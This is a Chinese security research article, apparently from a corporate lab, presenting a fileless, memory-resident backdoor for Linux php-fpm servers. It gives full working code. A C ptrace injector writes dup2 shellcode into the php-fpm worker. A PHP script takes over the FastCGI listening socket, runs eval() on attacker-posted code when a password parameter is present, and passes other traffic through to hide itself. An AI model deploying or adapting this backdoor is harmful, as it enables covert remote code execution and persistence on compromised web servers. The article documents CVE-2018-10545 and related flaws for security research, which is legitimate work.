system 后门 php,php-fpm环境的一种后门实现

作者：imbeee@360观星实验室

简介

目前常见的php后门基本需要文件来维持(常规php脚本后门：一句话、大马等各种变形；WebServer模块：apache扩展等，需要高权限并且需要重启WebServer)，或者是脚本运行后删除自身，利用死循环驻留在内存里，不断主动外连获取指令并且执行。两者都无法做到无需高权限、无需重启WeServer、触发后删除脚本自身并驻留内存、无外部进程、能主动发送控制指令触发后门(避免内网无法外连的情况)。

而先前和同事一块测试Linux下面通过/proc/PID/fd文件句柄来利用php文件包含漏洞时，无意中发现了一个有趣的现象。经过后续的分析，可以利用其在特定环境下实现受限的无文件后门，效果见动图：

测试环境

CentOS 7.5.1804 x86_64

nginx + php-fpm(监听在tcp 9000端口)

为了方便观察，建议修改php-fpm默认pool的如下参数：

# /etc/php-fpm.d/www.conf

pm.start_servers = 1

pm.min_spare_servers = 1

pm.max_spare_servers = 1

修改后重启php-fpm，可以看到只有一个master进程和一个worker进程：

[root@localhost php-fpm.d]# ps -ef|grep php-fpm

nginx 2439 30354 0 18:40 ? 00:00:00 php-fpm: pool www

root 30354 1 0 Oct15 ? 00:00:37 php-fpm: master process (/etc/php-fpm.conf)

php-fpm文件句柄泄露

在利用php-fpm运行的php脚本里，使用system()等函数执行外部程序时，由于php-fpm没有使用FD_CLOEXEC处理句柄，导致fork出来的子进程会继承php-fpm进程的所有文件句柄。

简单测试代码：

// t1.php

system("sleep 60");

观察访问前worker进程的文件句柄：

[root@localhost php-fpm.d]# ls -al /proc/2439/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 24 18:54 .

dr-xr-xr-x 9 nginx nginx 0 Oct 24 18:40 ..

lrwx------ 1 nginx nginx 64 Oct 24 18:54 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 24 18:54 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 24 18:54 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 24 18:54 7 -> anon_inode:[eventpoll]

[root@localhost php-fpm.d]#

确定socket:[1168542]为php-fpm监听的9000端口的socket句柄：

[root@localhost php-fpm.d]# lsof -i:9000

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

php-fpm 2439 nginx 0u IPv4 1168542 0t0 TCP localhost:cslistener (LISTEN)

php-fpm 30354 root 6u IPv4 1168542 0t0 TCP localhost:cslistener (LISTEN)

访问t1.php后，会阻塞在php的system函数调用里，此时查看sleep进程与worker进程的文件句柄：

[root@localhost php-fpm.d]# ps -ef|grep sleep

nginx 2547 2439 0 18:57 ? 00:00:00 sleep 60

[root@localhost php-fpm.d]# ls -al /proc/2547/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 24 18:58 .

dr-xr-xr-x 9 nginx nginx 0 Oct 24 18:57 ..

lrwx------ 1 nginx nginx 64 Oct 24 18:58 0 -> socket:[1168542]

l-wx------ 1 nginx nginx 64 Oct 24 18:58 1 -> pipe:[1408640]

lrwx------ 1 nginx nginx 64 Oct 24 18:58 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 24 18:58 3 -> socket:[1408425]

lrwx------ 1 nginx nginx 64 Oct 24 18:58 7 -> anon_inode:[eventpoll]

[root@localhost php-fpm.d]# ls -al /proc/2439/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 24 18:54 .

dr-xr-xr-x 9 nginx nginx 0 Oct 24 18:40 ..

lrwx------ 1 nginx nginx 64 Oct 24 18:54 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 24 18:54 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 24 18:54 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 24 18:58 3 -> socket:[1408425]

lr-x------ 1 nginx nginx 64 Oct 24 18:58 4 -> pipe:[1408640]

lrwx------ 1 nginx nginx 64 Oct 24 18:54 7 -> anon_inode:[eventpoll]

可以发现请求t1.php后，nginx发起了一个fast-cgi请求到php-fpm进程，即woker进程里3号句柄socket:[1408425]。同时可以看到sleep继承了父进程php-fpm的0 1 2 3 7号句柄，其中的0号句柄也就是php-fpm监听的9000端口的socket句柄。

文件句柄泄露的利用

在子进程里有了继承来的socket句柄，就可以直接使用accept函数直接从该socket接受一个连接。下面是一个用于验证的简单c程序以及调用的php脚本：

// test.c

// gcc -o test test.c

#include

#include

#include

int main(int argc, char *argv[])

{

int sockfd, newsockfd, clilen;

struct sockaddr_in cli_addr;

clilen = sizeof(cli_addr);

sockfd = 0; //直接使用0句柄作为socket句柄

//这里accept会阻塞，接受连接后才会执行system()

newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);

system("/bin/touch /tmp/lol");

return 0;

}

// t2.php

system("/tmp/test");

访问t2.php后，观察php-fpm进程以及子进程状态：

[root@localhost html]# ps -ef|grep php-fpm

nginx 2548 30354 0 Oct24 ? 00:00:00 php-fpm: pool www

nginx 2958 30354 0 11:07 ? 00:00:00 php-fpm: pool www

root 30354 1 0 Oct15 ? 00:00:40 php-fpm: master process (/etc/php-fpm.conf)

[root@localhost html]# ps -ef|grep test

nginx 2957 2548 0 11:07 ? 00:00:00 /tmp/test

[root@localhost html]# strace -p 2548

strace: Process 2548 attached

read(4,

[root@localhost html]# strace -p 2957

strace: Process 2957 attached

accept(0,

[root@localhost html]# strace -p 2958

strace: Process 2958 attached

accept(0,

可以看到php-fpm多了一个worker进程，用于测试的子进程test(pid:2957)阻塞在accept函数，解析t2.php的这个worker进程(pid:2548)阻塞在php的system函数里，系统调用体现为阻塞在read()，即等待system函数返回，因此master进程spawn出新的worker进程来处理正常的fast-cgi请求。此时php-fpm监听在tcp 9000的这个socket句柄上有两个进程在accept等待新的连接，一个是正常的php-fpm worker(pid:2958)进程，另一个是我们的测试程序test。

此时我们请求一个php页面，nginx发起的到9000端口的fast-cgi请求就会有一定几率被我们的test进程accpet接受到。但是我们测试程序test里面没有处理fast-cgi请求，因此nginx直接向前端返回500。查看tmp目录发现生成了lol文件，说明test进程成功通过accept函数从继承来的socket句柄中接受了一个来自nginx的fast-cgi请求。

[root@localhost html]# ls -al /tmp/systemd-private-165040c986624007be902da008f27727-php-fpm.service-6HI0kT/tmp/

total 12

drwxrwxrwt 2 root root 29 Oct 25 11:27 .

drwx------ 3 root root 17 Oct 15 10:40 ..

-rw-r--r-- 1 nginx nginx 0 Oct 25 11:27 lol

-rwxr-xr-x 1 root root 8496 Oct 25 10:42 test

至此，我们利用思路就有了：

php脚本先删除自身，然后用system()等方法运行一个外部程序

外部程序起来后删除自身，驻留在内存里，直接accpet从0句柄接受来自nginx的fast-cgi请求

解析fast-cgi请求，如果含有特定的指令，拦截请求并执行相应的代码，否则认为是正常请求，转发到9000端口让正常的php-fpm worker处理

这个利用思路的不足之处是需要起一个外部的进程。

一个另类的利用方法

到了这里铺垫写完了，进入本文分享的重点部分：如何解决上文提到的需要单独起一个进程来处理fast-cgi请求的不足。

php-fpm解析php脚本，是在php-fpm的worker进程里进行的，也就是说理论上php代码是能访问到worker进程已经打开的文件句柄的。但是php对这块做了封装，在php里通过fopen、socket_create等操作文件、socket时，得到的是一个php resource，每个resource绑定了相应的文件句柄，我们是无法直接操作到文件句柄的。可以通过下面的php脚本简单观察一下：

// t3.php

sleep(10);

$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );

sleep(10);

访问t3.php后，查看php-fpm worker进程的文件句柄：

[root@localhost html]# ls -al /proc/2958/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 25 11:16 .

dr-xr-xr-x 9 nginx nginx 0 Oct 25 11:07 ..

lrwx------ 1 nginx nginx 64 Oct 25 11:16 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 25 11:16 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 11:16 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 12:11 3 -> socket:[1428118]

lrwx------ 1 nginx nginx 64 Oct 25 11:16 7 -> anon_inode:[eventpoll]

[root@localhost html]# ls -al /proc/2958/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 25 11:16 .

dr-xr-xr-x 9 nginx nginx 0 Oct 25 11:07 ..

lrwx------ 1 nginx nginx 64 Oct 25 11:16 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 25 11:16 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 11:16 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 12:11 3 -> socket:[1428118]

lrwx------ 1 nginx nginx 64 Oct 25 12:11 4 -> socket:[1428132]

lrwx------ 1 nginx nginx 64 Oct 25 11:16 7 -> anon_inode:[eventpoll]

可以看到10秒内只有来自nginx的fast-cgi请求的3号句柄。而10秒后，4号句柄为php脚本中创建的socket，对应php脚本中的$socket资源。

如果我们能在php代码中构造出一个和0号句柄绑定的socket resource，我们就能直接用php的accpet()来处理来自nginx的fast-cgi请求而无需再起一个新的进程。但是翻遍了资料，最后发现php里无法用常规的方式构造指向特定文件句柄的resource。

但是我们发现worker进程在/proc/下面的文件owner并不是root，而是php-fpm的运行用户。这说明了php-fpm的master在fork出worker进程后，没有正确处理其dumpable flag，导致了我们可以用php-fpm worker的运行用户的权限附加到worker上，对其进行操作。

那么我们就有了新的利用思路：

php脚本运行后先删除自身

php脚本里用socket_create()创建一个socket

php脚本释放一个外部程序，使用system()调用，此时子进程继承worker进程的运行权限

子进程attach到父进程(php-fpm worker)，向父进程中注入shellcode，使用dup2()系统调用将0号句柄复制到步骤2中所创建的socket对应的句柄号，并恢复worker进程状态后detach，退出

子进程退出后，php代码里已经可以通过我们创建的socket resource来操作0号句柄，对其使用accept获取来自nginx的fast-cgi连接

解析fast-cgi请求，如果含有特定的指令，拦截请求并执行相应的代码，否则认为是正常请求，转发到9000端口让正常的php-fpm worker处理

通过这个利用方法，我们可以将大部分代码都用php实现，并且最终也是以一个被注入过的php-fpm进程的形式存在于服务器上。外部c程序只是用于注入worker进程，复制文件句柄。以下为注入shellcode的c代码：

// dup04.c

// gcc -o dup04 dup04.c

#include

#include

#include

#include

#include

#include

void *freeSpaceAddr(pid_t pid) {

FILE *fp;

char filename[30];

char line[850];

long addr;

char str[20];

char perms[5];

sprintf(filename, "/proc/%d/maps", pid);

fp = fopen(filename, "r");

if(fp == NULL)

exit(1);

while(fgets(line, 850, fp) != NULL)

{

sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str);

if(strstr(perms, "x") != NULL)

{

break;

}

}

fclose(fp);

return addr;

}

void ptraceRead(int pid, unsigned long long addr, void *data, int len) {

long word = 0;

int i = 0;

char *ptr = (char *)data;

for (i=0; i < len; i+=sizeof(word), word=0) {

if ((word = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL)) == -1) {;

printf("[!] Error reading process memoryn");

exit(1);

}

ptr[i] = word;

}

}

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {

long word = 0;

int i=0;

for(i=0; i < len; i+=sizeof(word), word=0) {

memcpy(&word, data + i, sizeof(word));

if (ptrace(PTRACE_POKETEXT, pid, addr + i, word) == -1) {;

printf("[!] Error writing to process memoryn");

exit(1);

}

}

}

int main(int argc, char* argv[]) {

void *freeaddr;

//int pid = strtol(argv[1],0,10);

int pid = getppid();

int status;

struct user_regs_struct oldregs, regs;

memset(&oldregs, 0, sizeof(struct user_regs_struct));

memset(&regs, 0, sizeof(struct user_regs_struct));

char shellcode[] = "x90x90x90x90x90x6ax21x58x48x31xffx6ax04x5ex0fx05xcc";

unsigned char *oldcode;

// Attach to the target process

ptrace(PTRACE_ATTACH, pid, NULL, NULL);

waitpid(pid, &status, WUNTRACED);

// Store the current register values for later

ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);

memcpy(&regs, &oldregs, sizeof(struct user_regs_struct));

oldcode = (unsigned char *)malloc(sizeof(shellcode));

// Find a place to write our code to

freeaddr = (void *)freeSpaceAddr(pid) + sizeof(long);

// Read from this addr to back up our code

ptraceRead(pid, (unsigned long long)freeaddr, oldcode, sizeof(shellcode));

// Write our new stub

//ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.sox00", 16);

//ptraceWrite(pid, (unsigned long long)freeaddr+16, "x90x90x90x90x90x90x90", 8);

ptraceWrite(pid, (unsigned long long)freeaddr, shellcode, sizeof(shellcode));

// Update RIP to point to our code

regs.rip = (unsigned long long)freeaddr + 2;

// Set regs

ptrace(PTRACE_SETREGS, pid, NULL, &regs);

//sleep(5);

// Continue execution

ptrace(PTRACE_CONT, pid, NULL, NULL);

waitpid(pid, &status, WUNTRACED);

// Ensure that we are returned because of our int 0x3 trap

if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {

// Get process registers, indicating if the injection suceeded

ptrace(PTRACE_GETREGS, pid, NULL, &regs);

if (regs.rax != 0x0) {

printf("[*] Syscall for dup2 success.n");

} else {

printf("[!] Library could not be injectedn");

return 0;

}

Now We Restore The Application Back To It's Original State

// Copy old code back to memory

ptraceWrite(pid, (unsigned long long)freeaddr, oldcode, sizeof(shellcode));

// Set registers back to original value

ptrace(PTRACE_SETREGS, pid, NULL, &oldregs);

// Resume execution in original place

ptrace(PTRACE_DETACH, pid, NULL, NULL);

printf("[*] Resume proccess.n");

} else {

printf("[!] Fatal Error: Process stopped for unknown reasonn");

exit(1);

}

return 0;

}

代码中注入的部分参考自网上，shellcode功能很简单，通过syscall调用dup2(0,4)，汇编为：

5: 6a 21 pushq $0x21

7: 58 pop %rax

8: 48 31 ff xor %rdi,%rdi

b: 6a 04 pushq $0x4

d: 5e pop %rsi

e: 0f 05 syscall

10: cc int3

使用如下php代码进行注入测试并观察效果：

// t4.php

sleep(10);

$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );

sleep(10);

system('/tmp/dup04');

sleep(10);

访问t4.php后查看文件句柄：

[root@localhost html]# ls -al /proc/3022/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 25 16:12 .

dr-xr-xr-x 9 nginx nginx 0 Oct 25 16:12 ..

lrwx------ 1 nginx nginx 64 Oct 25 17:50 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 25 17:50 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 17:50 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 17:59 3 -> socket:[1428126]

lrwx------ 1 nginx nginx 64 Oct 25 17:50 7 -> anon_inode:[eventpoll]

[root@localhost html]# ls -al /proc/3022/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 25 16:12 .

dr-xr-xr-x 9 nginx nginx 0 Oct 25 16:12 ..

lrwx------ 1 nginx nginx 64 Oct 25 17:50 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 25 17:50 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 17:50 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 17:59 3 -> socket:[1428126]

lrwx------ 1 nginx nginx 64 Oct 25 17:59 4 -> socket:[1435131]

lrwx------ 1 nginx nginx 64 Oct 25 17:50 7 -> anon_inode:[eventpoll]

[root@localhost html]# ls -al /proc/3022/fd

total 0

dr-x------ 2 nginx nginx 0 Oct 25 16:12 .

dr-xr-xr-x 9 nginx nginx 0 Oct 25 16:12 ..

lrwx------ 1 nginx nginx 64 Oct 25 17:50 0 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 25 17:50 1 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 17:50 2 -> /dev/null

lrwx------ 1 nginx nginx 64 Oct 25 17:59 3 -> socket:[1428126]

lrwx------ 1 nginx nginx 64 Oct 25 17:59 4 -> socket:[1168542]

lrwx------ 1 nginx nginx 64 Oct 25 17:50 7 -> anon_inode:[eventpoll]

可以看到worker进程在前10秒内只有来自nginx的一个3号句柄；10-20秒多出来的4号句柄socket:[1435131]为php代码中socket_create后创建的socket；20秒后dup4运行结束，dup(0,2)成功调用，0号句柄的socket:[1168542]成功复制到4号句柄。此时php代码中已经可以通过$socket来操作php-fpm监听tcp 9000的socket了。

附上一个简单实现的脚本，通过php来解析fast-cgi并拦截特定请求：

$password = "beedoor";

function dolog($msg) {

file_put_contents('/tmp/log', date('Y-m-d H:i:s') . ' ---- ' . $msg . "n", FILE_APPEND);

}

function readfcgi($socket, $type) {

global $password;

$buffer="";

$postdata="";

while(1) {

dolog("Read 8 bytes header.");

$data = socket_read($socket, 8);

if ($data === "")

return -1;

$buffer .= $data;

dolog(bin2hex($data));

$header = unpack("Cver/Ctype/nid/nlen/Cpadding/Crev", $data);

$body_len = $header["len"] + $header["padding"];

if ($body_len > 0) {

dolog("Read " . $body_len . " bytes body.");

$data = socket_read($socket, $body_len);

if ($data === "")

return -1;

$buffer .= $data;

dolog(bin2hex($data));

if ($header["type"] == 5) {

$postdata .= $data;

dolog("Post data found.");

}

}

if ($header["type"] == $type && $body_len < 65535) {

$stype = $type === 5 ? 'FCGI_STDIN' : 'FCGI_END_REQUEST';

dolog($stype . " finished, braek.");

break;

}

}

//dolog(bin2hex($postdata));

parse_str($postdata, $post_array);

$intercept_flag = array_key_exists($password, $post_array) ? true : false;

if ($intercept_flag)

{

dolog("Password in postdata, intercepted.");

return array("intercept" => true, "buffer" => $postdata);

} else {

dolog("No password, passthrough.");

return array("intercept" => false, "buffer" => $buffer);

}

}

dolog("Init socket rescoure.");

$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );

dolog("dup(0,4);");

system('/tmp/dup04');

dolog("All set, waiting for connections.");

while (1) {

$acpt=socket_accept($socket);

dolog("Incoming connection.");

$buffer = readfcgi($acpt,5);

if ($buffer["intercept"] === true) {

parse_str($buffer["buffer"], $postdata);

$header = "";

$outbuffer = "Content-type: text/htmlrnrn";

ob_clean();

ob_start();

eval($postdata[$password]);

$outbuffer .= ob_get_clean();

dolog("Eval code success.");

$outbuffer_len = strlen($outbuffer);

dolog("Outbuffer length: " . $outbuffer_len . "bytes.");

$slice_len = unpack("n", "x1fxf8");

$slice_len = $slice_len[1];

while ( strlen($outbuffer) > $slice_len ) {

$slice = substr($outbuffer, 0, $slice_len);

$header = pack("C2n2C2", 0x01, 0x06, 1, $slice_len, 0x00, 0x00);

$sent_len = socket_write($acpt, $header, 8);

dolog("Sending " . $sent_len . " bytes slice header.");

dolog(bin2hex($header));

$sent_len = socket_write($acpt, $slice, $slice_len);

dolog("Sending " . $sent_len . " bytes slice.");

dolog(bin2hex($slice));

$outbuffer = substr($outbuffer, $slice_len);

}

$outbuffer_len = strlen($outbuffer);

if ( $outbuffer_len % 8 > 0)

$padding_len = 8 - ($outbuffer_len % 8);

dolog("Processing last slice, outbuffer length: " . $outbuffer_len . " , padding length: " . $padding_len . " bytes.");

$outbuffer .= str_repeat("", $padding_len);

$header = pack("C2n2C2", 0x01, 0x06, 1, $outbuffer_len, $padding_len, 0x00);

$sent_len = socket_write($acpt, $header, 8);

dolog("Sent 8 bytes STDOUT header to webserver.");

dolog(bin2hex($header));

$sent_len = socket_write($acpt, $outbuffer, strlen($outbuffer));

dolog("Sent " . $sent_len . " bytes STDOUT body to webserver.");

dolog(bin2hex($outbuffer));

$header = pack("C2n2C2", 0x01, 0x03, 1, 8, 0x00, 0x00);

$endbody = pack("C8", 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0);

$sent_len = socket_write($acpt, $header, 8);

dolog("Sent 8 bytes REQUEST_END header to webserver.");

dolog(bin2hex($header));

$sent_len = socket_write($acpt, $endbody, 8);

dolog("Sent 8 bytes REQUEST_END body to webserver.");

dolog(bin2hex($endbody));

socket_shutdown($acpt);

continue;

} else {

$buffer = $buffer["buffer"];

}

dolog("The full buffer size is " . strlen($buffer) . " bytes.");

$fpm_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($fpm_socket === false) {

dolog("Create socket for real php-fpm failed.");

socket_close($acpt);

}

if (socket_connect($fpm_socket, "127.0.0.1", 9000) === false) {

dolog("Connect to real php-fpm failed.");

socket_close($acpt);

}

dolog("Connected to real php-fpm.");

$sent_len = socket_write($fpm_socket, $buffer, strlen($buffer));

dolog("Sent " . $sent_len . " to real php-fpm.");

$buffer = readfcgi($fpm_socket, 3);

//TODO: intercept real output

$buffer = $buffer["buffer"];

dolog("Recieved " . strlen($buffer) . " from real php-fpm.");

socket_close($fpm_socket);

$sent_len = socket_write($acpt, $buffer);

dolog("Sent " . $sent_len . " bytes back to webserver.");

socket_shutdown($acpt);

dolog("Shutdown connection from webserver.");

}

利用限制

上面给出的php实现，利用的前提是Linux下的php-fpm环境，同时有php版本限制，需5.x<5.6.35，7.0.x<7.0.29，7.1.x<7.1.16，7.2.x<7.2.4。因为利用到的两个前提条件中，worker进程未正确设置dumpable flag这个问题已经在CVE-2018-10545中修复，详情请自行查阅。而另一个条件，在php中通过system等函数来调用第三方程序时未正确处理文件描述符的问题，也已经提交给php官方，但php官方认为未能导致安全问题，不予处理。所以截止目前为止，最新版本的php-fpm都存在文件描述符泄露的问题。

总结

本文分享了一种php-fpm的另类后门实现，但比较受限。该方法虽然实现了无文件、无进程、能主动触发等特性，但是无法实现持续化，php-fpm服务重启后即失效；同时由于生产环境中php-fpm的worker进程众多，fast-cgi请求能被我们accept接受到的几率也比较小，不能稳定的触发。仅希望本文能抛砖引玉，引起大家对该问题进行更深入的探讨。如文中存在描述不准确的地方，欢迎大家批评指正。

当然如果你愿意同我们一起进行安全技术的研究和探索，请发送简历到 lab@360.net，我们期望你的加入。